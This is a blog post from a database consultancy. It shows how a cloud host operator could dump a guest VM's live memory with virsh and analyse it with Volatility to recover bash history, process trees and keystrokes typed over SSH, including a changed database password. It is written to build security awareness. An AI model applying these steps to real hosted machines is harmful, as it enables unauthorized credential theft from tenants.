VMI vs Security – careful what you type in a terminal


10.04.2021
by Kamil Stawiarski

In my previous article I described a few technics of accessing a guest virtual machine from the virtualization host (KVM) without any credentials. It assumed that our data can get compromised by a corrupted vendor employee.

After publishing it I had a few talks with my colleagues and have to explain one thing – the purpose of this kind of articles is to build awareness, regarding security.

More and more companies decide to use a public cloud, because of the lower maintenance costs – but while keeping an eye on the budget we can’t get the security out of the focus if we don’t want to repeat the situation with AWS and Capital One.

I agree that everything in the modern IT world is based on trust, but trusting doesn’t mean that you have to stop be cautious – probably not everyone on the road wants to kill you but that’s not the reason not to use seatbelts 😉

So let’s continue with the illegal guest VM access by an evil vendor employee.

This time we will use technique called "Virtual machine introspection" (VMI).

In this example I will use a tool called volatility (Volatility Framework – Volatile memory extraction utility framework)

To generate a profile for Volatility, we have to install a target kernel-devel libraries:

[root@db3 ~]# rpm -qa | grep kernel | grep `uname -r`
kernel-tools-libs-3.10.0-1160.21.1.el7.x86_64
kernel-3.10.0-1160.21.1.el7.x86_64
kernel-devel-3.10.0-1160.21.1.el7.x86_64
kernel-tools-3.10.0-1160.21.1.el7.x86_64

Compile a module against the target kernel source:

[root@db3 linux]# make -C /usr/src/kernels/`uname -r` CONFIG_DEBUG_INFO=y M=`pwd` modules
make: Entering directory `/usr/src/kernels/3.10.0-1160.21.1.el7.x86_64'
  Building modules, stage 2.
  MODPOST 1 modules
make: Leaving directory `/usr/src/kernels/3.10.0-1160.21.1.el7.x86_64'

Install libdwarf-tools-20130207-4.el7.x86_64.rpm

And make a profile for Volatility:

[root@db3 linux]# dwarfdump -di ./module.o > module.dwarf
[root@db3 linux]# zip OEL7.9_3.10.0-1160.21.1.el7.x86_64.zip module.dwarf /boot/System.map-3.10.0-1160.21.1.el7.x86_64
updating: module.dwarf (deflated 89%)
updating: boot/System.map-3.10.0-1160.21.1.el7.x86_64 (deflated 79%)

Now I’m going to connect via SSH to my machine and start typing some stuff in SQL*Plus (notice that I don’t even hit ENTER)

[oracle@db3 ~]$ sqlplus / as sysdba

SQL*Plus: Release 19.0.0.0.0 - Production on Sat Apr 10 16:10:11 2021
Version 19.3.0.0.0

Copyright (c) 1982, 2019, Oracle.  All rights reserved.


Polaczono z:
Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.3.0.0.0

SQL> Typing some secret shit

Now – as a bad guy working for a cloud vendor – I’m going to dump the contents of the memory from the virtual machine.

[root@rapier volatility]# export LIBVIRT_AUTH_FILE=/etc/ovirt-hosted-engine/virsh_auth.conf
[root@rapier volatility]# virsh dump db3 --live --memory-only --file ../db3.memory

Domain db3 dumped to ../db3.memory

After copying a profile to the target location:

[root@rapier volatility]# ls volatility/plugins/overlays/linux/
CentOS68.zip  elf.py  elf.pyc  __init__.py  __init__.pyc  linux.py  linux.pyc  OEL7.9_3.10.0-1160.21.1.el7.x86_64.zip

We can start investigating a machine memory dump 🙂

Like reading a bash history from the memory:

[root@rapier volatility]# python vol.py --profile=LinuxOEL7_9_3_10_0-1160_21_1_el7_x86_64x64 -f ../db3.memory linux_bash | tail -10
Volatility Foundation Volatility Framework 2.6.1
   18833 bash                 2021-04-10 14:10:06 UTC+0000   lsnrctl status listener2
   18833 bash                 2021-04-10 14:10:06 UTC+0000   vim /opt/oracle/product/19c/dbhome_1/network/admin/samples/listener.ora
   18833 bash                 2021-04-10 14:10:06 UTC+0000   vim /opt/oracle/product/19c/dbhome_1/network/admin/listener.ora
   18833 bash                 2021-04-10 14:10:06 UTC+0000   vim listener.ora
   18833 bash                 2021-04-10 14:10:06 UTC+0000   ssh-copy-id db2
   18833 bash                 2021-04-10 14:10:06 UTC+0000   ip a
   18833 bash                 2021-04-10 14:10:06 UTC+0000   cd $ORACLE_HOME/network/admin
   18833 bash                 2021-04-10 14:10:06 UTC+0000   lsnrctl  status
   18833 bash                 2021-04-10 14:10:08 UTC+0000   . db.env
   18833 bash                 2021-04-10 14:10:11 UTC+0000   sqlplus / as sysdba

Or read process tree:

[root@rapier volatility]# python vol.py --profile=LinuxOEL7_9_3_10_0-1160_21_1_el7_x86_64x64 -f ../db3.memory linux_pstree | grep -B 5 sqlplus
Volatility Foundation Volatility Framework 2.6.1
.sshd                1376
..sshd               12724
...bash              12730
....su               18832
.....bash            18833           54321
......sqlplus        18858           54321

Now, when I can see that there was sqlplus started from ssh session, I can investigate SSH process memory with Yara plugin. You see – everything that you type in the terminal is transferred to the server when you are typing it, so…

[root@rapier volatility]# python vol.py --profile=LinuxOEL7_9_3_10_0-1160_21_1_el7_x86_64x64 -f ../db3.memory linux_yarascan -p 12724 -Y "SQL>"
Volatility Foundation Volatility Framework 2.6.1
Task: sshd pid 12724 rule r1 addr 0x7fd67e0038e8
0x7fd67e0038e8  53 51 4c 3e 20 49 27 6d 08 20 08 08 20 08 08 20   SQL>.I'm........
0x7fd67e0038f8  08 59 08 20 08 54 79 70 69 6e 67 20 73 6f 66 65   .Y...Typing.sofe
0x7fd67e003908  20 73 08 20 08 08 20 08 08 20 08 08 20 08 6d 65   .s............me
0x7fd67e003918  20 73 65 63 72 65 74 20 73 68 69 74 08 20 08 08   .secret.shit....
0x7fd67e003928  20 08 08 20 08 08 20 08 73 68 69 74 0d 0a 2f 75   ........shit../u

Cool, right? 😀

So if anyone is changing a password with alter user…

SQL> alter user system identified by "42beers" container=ALL;

Zmieniono uzytkownika.

I could use Yara plugging to dig that…

[root@rapier volatility]# python vol.py --profile=LinuxOEL7_9_3_10_0-1160_21_1_el7_x86_64x64 -f ../db3.memory linux_yarascan -p 12724 -Y "alter user"
Volatility Foundation Volatility Framework 2.6.1
Task: sshd pid 12724 rule r1 addr 0x5607f0642c40
0x5607f0642c40  61 6c 74 65 72 20 75 73 65 72 20 73 79 73 74 65   alter.user.syste
0x5607f0642c50  6d 20 66 7f 69 64 65 6e 74 69 66 69 65 64 20 62   m.f.identified.b
0x5607f0642c60  79 20 62 7f 67 69 76 65 6d 65 61 7f 7f 7f 7f 7f   y.b.givemea.....
0x5607f0642c70  7f 7f 62 7f 22 34 32 62 65 65 72 73 22 20 63 6f   ..b."42beers".co
0x5607f0642c80  6e 74 61 69 6e 65 72 73 7f 3d 41 4c 4c 3b 0d 20   ntainers.=ALL;..

You can even see what I started to type and to what I changed the original password – started to type "givemea" but changed to "42beers".

Kinda awesome and scary at the same time 🙂

Of course this kind of software is thought as the software for forensic analyzes and should be used for good stuff, but you never know who is on the other side of the cloud.

So think about it and adjust your security policy properly when you’re going to place your database in a public cloud.

And more fun with VMI is coming to this blog soon 😉


Contact us

Database Whisperers sp. z o. o. sp. k.
al. Jerozolimskie 200, 3rd floor, room 342
02-486 Warszawa
NIP: 5272744987
REGON:362524978
+48 508 943 051
+48 661 966 009
info@ora-600.pl

Newsletter Sign up to be updated